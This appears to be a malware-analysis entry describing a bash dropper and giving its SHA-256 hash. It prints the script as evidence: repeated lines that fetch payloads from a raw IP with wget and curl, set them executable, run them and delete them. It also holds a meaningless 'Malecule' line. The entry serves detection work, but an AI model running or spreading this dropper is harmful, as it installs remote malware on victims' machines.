ok
Dropper downloads and executes raw-IP payloads
Raw-IP wget world-writable fetch executeRepeated raw-IP payload download chmod execution
SHA-256966b6f65a307b32ea80724fee179fd09343d20a7d95458ff502812da5f5ec6d3
MaleculeO₂(C₃Xe)H₃(Cm₇F₃Po)
Evidence
1#!/bin/bash
2wget http://5.182.210.174/a1a0da; curl -O http://5.182.210.174/a1a0da; chmod 777 a1a0da; ./a1a0da bc; rm -rf a1a0da; rm -rf a1a0da.1
3wget http://5.182.210.174/c4878f; curl -O http://5.182.210.174/c4878f; chmod 777 c4878f; ./c4878f bc; rm -rf c4878f; rm -rf c4878f.1
4wget http://5.182.210.174/1f4418; curl -O http://5.182.210.174/1f4418; chmod 777 1f4418; ./1f4418 bc; rm -rf 1f4418; rm -rf 1f4418.1
5wget http://5.182.210.174/564fd4; curl -O http://5.182.210.174/564fd4; chmod 777 564fd4; ./564fd4 bc; rm -rf 564fd4; rm -rf 564fd4.1
6wget http://5.182.210.174/45d4ef; curl -O http://5.182.210.174/45d4ef; chmod 777 45d4ef; ./45d4ef bc; rm -rf 45d4ef; rm -rf 45d4ef.1
7wget http://5.182.210.174/bd742d; curl -O http://5.182.210.174/bd742d; chmod 777 bd742d; ./bd742d bc; rm -rf bd742d; rm -rf bd742d.1
8wget http://5.182.210.174/810904; curl -O http://5.182.210.174/810904; chmod 777 810904; ./810904 bc; rm -rf 810904; rm -rf 810904.1
9wget http://5.182.210.174/a10960; curl -O http://5.182.210.174/a10960; chmod 777 a10960; ./a10960 bc; rm -rf a10960; rm -rf a10960.1
10wget http://5.182.210.174/75fa66; curl -O http://5.182.210.174/75fa66; chmod 777 75fa66; ./75fa66 bc; rm -rf 75fa66; rm -rf 75fa66.1
11wget http://5.182.210.174/d70921; curl -O http://5.182.210.174/d70921; chmod 777 d70921 …